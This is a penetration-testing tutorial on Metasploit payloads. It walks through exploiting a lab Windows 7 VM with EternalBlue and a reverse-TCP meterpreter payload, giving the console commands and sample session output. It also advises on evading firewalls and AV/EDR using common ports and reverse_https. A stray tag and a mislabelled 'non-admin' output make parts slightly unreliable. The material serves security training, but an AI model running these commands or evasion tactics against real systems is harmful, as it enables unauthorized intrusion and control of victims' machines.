Metasploit Payloads for Control

You've spent hours poring over scan results and vulnerability reports, but that critical phase just after exploitation—the moment you actually gain control of a target—still feels like a black box. Without a reliable way to turn a known vulnerability into a working session, your pentest report is just theory. This lesson pulls back the curtain on Metasploit payloads, showing you exactly how to use them to establish, maintain, and control a foothold in a target system—ethically, of course. By the end, you'll move from scanning to commanding with confidence.

The Problem This Lesson Solves

A vulnerability scanner tells you a system might be vulnerable—but it doesn't give you a shell. You need a way to transform that potential into practical control: a channel to run commands, view files, pivot deeper, or demonstrate impact. That's the gap this lesson fills. Use Metasploit payloads for control means bridging the distance between a discovered flaw and an actionable session. Without this skill, you're stuck at the perimeter of your own assessment. This lesson gives you the exact mechanism to cross that line safely and methodically.

The pain is real: students and junior pentesters often rely on automated tools, but when the automation fails, they freeze. They don't know why a payload didn't fire or how to pick a different one. This lesson gives you the mental model and the practical steps to adapt on the fly, so you're never a one-trick pony in a live engagement.

Core Concept / Mental Model

Think of a payload as a package you send to a target that, when opened, runs a program that gives you control. In Metasploit, the payload is the actual code that runs after exploitation. It's the difference between knocking on a door (the exploit) and walking in and sitting at the desk (the payload).

The key components to understand are:

• Payload: The code that executes on the target after a successful exploit. It's what gives you a session.
• Shell: A command-line interface on the target. Metasploit gives you a meterpreter shell, which is way more powerful than a basic cmd.exe or /bin/sh.
• Stage vs. Stager: A stager is a small, lightweight piece of code that fetches and executes a larger stage (like meterpreter). This lets you avoid sending big payloads over the wire.
• LHOST/LPORT: Your machine's IP and port that the target connects back to (for reverse payloads). The target's IP and port you connect to for bind payloads.

Why reverse payloads dominate? In real engagements, firewalls block inbound connections to the target, but they typically allow outbound traffic. A reverse payload has the target connect back to you, which neatly sidesteps that. That's why you'll almost always use windows/x64/meterpreter/reverse_tcp or similar.

How It Works Step by Step

1. Select an exploit module in Metasploit, such as exploit/windows/smb/ms17_010_eternalblue. This is the code that triggers the vulnerability.
2. Set the target (RHOSTS) and, if needed, RPORT.
3. Choose a payload with set payload windows/x64/meterpreter/reverse_tcp. The payload defines what runs post-exploit.
4. Set your listener (LHOST and LPORT) so the target can connect back to you.
5. Run the exploit with run or exploit. If successful, you'll get a meterpreter session.
6. Interact with the session using sessions -i <id> to start controlling the target.

Cause and effect: The exploit triggers the vulnerability → the stager runs → it downloads and runs meterpreter → the target makes a reverse TCP connection to you → you have an interactive shell.

Hands-On Walkthrough

Let's put it into practice. The setup: a vulnerable Windows 7 VM (target) and your Kali Linux VM (attacker). You've already confirmed the SMB vulnerability exists. Now, run this in your Metasploit console:

msfconsole

Now, from the msf6 prompt, select and configure the exploit:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

Once you see Meterpreter session 1 opened, you're in. Interact with it:

sessions -i 1

Now you're in the meterpreter shell. Try these common commands:

sysinfo
</Code>

Expected output:

```text
Computer    : VICTIM-PC
OS          : Windows 7 (6.1 Build 7601, Service Pack 1).
Arch        : x64
Meterpreter : x64/windows

Then try to gather info and prove control:

getuid

# Expected (non-admin)
Server username: NT AUTHORITY\SYSTEM

ipconfig

# Shows target network interfaces, which helps with pivoting later.

You've just used a Metasploit payload to gain control. Practice swapping payloads (e.g., windows/meterpreter/reverse_tcp for 32-bit targets) and observe the difference.

Compare Options / When to Choose What

When to choose what: Always start with reverse meterpreter. If it fails, try bind. If meterpreter is detected, switch to a generic or stager-based payload. Use HTTPS payloads (reverse_https) to blend with encrypted traffic when you need stealth.

Troubleshooting & Edge Cases

Problem: Exploit succeeds but no session opens.

• Check your LHOST — it must be your machine's IP, not 127.0.0.1. Verify with ip addr.
• Ensure LPORT isn't blocked by your firewall. Use a common port like 443 or 80 to look like normal web traffic.
• If you're in a lab, confirm the target can actually reach your IP (ping it from the target).

Problem: Could not connect to server or session dies immediately.

• The payload architecture must match the target OS. Use x64 payloads on 64-bit, x86 on 32-bit. A mismatch leads to crashes.
• Some AV/EDR kills meterpreter. Try windows/x64/meterpreter/reverse_https or a custom stager.

Problem: You get a cmd shell instead of meterpreter.

• That happens when you chose a shell payload (e.g., windows/x64/shell/reverse_tcp). Type shell in meterpreter if you need a native cmd, but prefer meterpreter for control.

Pro tip: Always run sessions to list open sessions. Use background to keep a session alive while you work on another attack—don't lose your foothold!

What You Learned & What's Next

You now understand why payloads are the bridge between exploitation and control. You can explain the core idea behind use Metasploit payloads for control: translating a vulnerability into an interactive session using stages, stagers, and reverse connections. You completed a hands-on exercise, successfully deploying a meterpreter payload and navigating the session.

This wasn't just about running a script—it's the foundation for post-exploitation: file exfiltration, privilege escalation, persistence, and pivoting. The next lesson will dive into post-exploitation techniques using your meterpreter session. You'll learn to gather credentials, move laterally, and cover your tracks. But for now, master this step: practice deploying different payloads on your lab, break them, fix them, and get comfortable, because control is the key to everything that follows.